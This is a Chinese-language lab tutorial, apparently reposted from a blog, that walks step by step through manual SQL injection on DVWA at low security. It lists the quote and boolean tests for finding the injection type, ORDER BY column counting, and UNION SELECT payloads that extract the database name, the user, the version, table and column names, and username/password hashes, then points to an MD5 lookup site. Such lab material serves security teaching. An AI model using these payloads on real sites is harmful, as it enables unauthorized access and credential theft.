DVWA------sql注入(low)(字符型)

本文阅读 6 分钟
首页 代码,C/C#/C++ 正文

=================================================================================

0x01:上low源码
在这里插入图片描述

=================================================================================

0x02:sql注入(low)

一、sql注入的过程: 1.寻找注入点 2.判断注入类型 3.判断数据库类型 4.获取数据库内容+提权

二、怎么寻找注入点: 1.注入点特点: ①可以跟数据库直接交互 ②?id=num ? 是一种传参的形式,必要的 id=1,有什么用呢,它是用ID的值1与数据库进行交互,从而获得网页内容的回显 ③如下图所示,?id=1,成功返回了网页内容,与数据库是直接交互的 img 2.注入点类型: ①get型:使用URL框注入 ②post型:使用输入框注入 ③cokkie型 或 ①字符型 ②整型

三、怎么判断注入点类型: get型的注入方法: 一般进去网页后,会在id后面输入,这样的三个语句测试: ?id=1’ ?id=1 and 1=1 ?id=1 and 1=2 整型的判断结果: ?id=1’ 报错 ?id=1’ and 1=1 正常回显 ?id=1’ and 1=2 不正常回显

问:?id=1'  and  1=1到底是什么啊?好恶心?
答:?id=1'  and  1=1的剖析
①?           //这个符号只是一个固定的传参格式,必须存在
②id=1        //一个语句,用来向服务器交互时候,调用id=1的内容
③and      //一个逻辑判断符号,逻辑与,众所周知,只有两个表达式同时正确成立,才会运行该命令,才会与sql服务器交互
④1=1        //恒真,一个真语句
⑤1=2        //恒假,一个假语句
⑥?id=1  and  1=1  //是一个真语句,会执行命令与服务器交互
⑦?id=1  and  1=2  //是一个假语句,不会执行命令与服务器交互
⑧总之,and  1=2  这个逻辑判断语句就是,用来控制and前面的语句是否执行的

字符型的判断结果: ?id=1’ 报错 ?id=1’ and 1=1 正常回显 ?id=1’ and 1=2 正常回显 ?id=1’ and ‘1’=‘1 正常 ?id=1’ and ‘1’='1 不正常回显

问:为什么要加那么多引号呢?花里胡哨的。。。。。
答:?id=1'  and  '1'='1   剖析
①因为已知是字符型格式嘛,那么这条语句实质上是:  ?id='1'  and  '1'='1'   
又,由于传输的时候,会自动在输入的值得前后添加一对单引号,所以把最前和最后的单引号去掉就是:?id=1'  and  '1'='1

例字----post型的注入判断,字符型判断结果: ①输入’ img ②结果为:’’’’’ img

问:你会发现,出现五个单引号,这是为什么呢?

答:从内往外分析!
①一个单引号,这个是自己输入的单引号
②还有一对单引号为什么,因为,可能是字符型注入?然而字符型时候,系统会自动在参数的一前一后添加一对单引号,例如id='1'
③但是,还有一对引号呢?这个是报错的提示,提示你时候使用单引号达到高亮的效果,只是引住,起到强调的作用。

③输入:1’ and ‘1’=‘1 img 结果如下: img ④输入:1’ and ‘1’='2 注意:结果也如下 img 三.判断数据库类型四.获取数据库内容+提权

=================================================================================

0x03:low等级的手工注入过程如下

第一步:查看注入点,很明显的吧。。。。。 img

第二步:判断注入类型 ①输入: 1' img

//结果如下:报错img ②输入:1 and 1=1

img //结果如下:正常回显 img ③输入:1 and 1=2 img //结果如下:正常回显 img ④输入:1' and '1'='1 img //结果如下,结果如下: img

⑤输入:1' and '1'='2 img //结果如下,不正常回显 img 由此判断为:字符型注入。。。。。。。。。。。。。。。

第三步:判断数据库类型 1.dvwa使用的是mysql数据库

第四步:开始注入数据库,爆库,提权等等 1.使用order by二分法猜测字段个数 ①输入:1' order by 5

img 如图所示:发现有错误 img ②输入:1' order by 5 # img //结果如下,这不是报错,这个是显示无法识别有5个列,说明莫得5个列 img ③输入:1' order by 3 #

img //结果如下,显示莫得3列 img

④输入:1' order by 4 # img //结果如下,显示有两个列 ID: 1’ order by 2 # //注意,这个是命令的回显,只是为了练习的方便,才显示,正常情况莫得的 First name: admin //第一个列 Surname: admin //第二个列 img 2.联合查询: ①不需要再联合查询,尝试哪个列中可以注入内容 因为:输入:1' union select 1,2 # 结果如下:first name和surname是有内容的 img 注意:联合查询的1和2只是一个代数

②联合查询,把1和2换成database(),user(),version()等等查看对应的信息 输入:1' union select database(),user() # 结果如下:显示了数据库名字为dvwa,和用户名称为root,@只是一个连接符,hostname为localhost img 输入:1' union select version(),2 #

结果如下,显示了数据库版本为5.5.53 img 3.爆数据库dvwa里的表 方法1:一次性显示表 ①输入,1' union select group_concat(table_name),user() from information_schema.tables where table_schema='dvwa' # 结果如下:一次性爆出了所有的表为:guestbook和users img

方法2:一个一个的显示 ②输入,1' union select 1,table_name from information_schema.tables where table_schema='dvwa'#

结果如下:有两个表guestbook和users img

4.爆出users表里的列 ①输入,1' union select 1,column_name from information_schema.columns where table_name='users'#

结果如下:爆出表users里的内容,有8个列 img 5.爆出user列和passwd列里的内容信息 ①输入,1' union select 1,group_concat(user,password) from users#

结果如下,但是有些杂乱,全都放到一起了 img ②输入,1' union select 1,concat_ws(char(32,58,32),user,password) from users# 注意:32为空格,58为冒号 结果如下:显示了,用户名:密码 img

上图中的密码经过了md5加密,解密即可,如下,用户admin的密码为password //解密网址:https://www.cmd5.com/ img

=================================================================================

本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/qq_45555226/article/details/102847629
-- 展开阅读全文 --
KillDefender 的 Beacon 对象文件 PoC 实现
« 上一篇 02-09
Web安全—逻辑越权漏洞(BAC)
下一篇 » 03-13

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复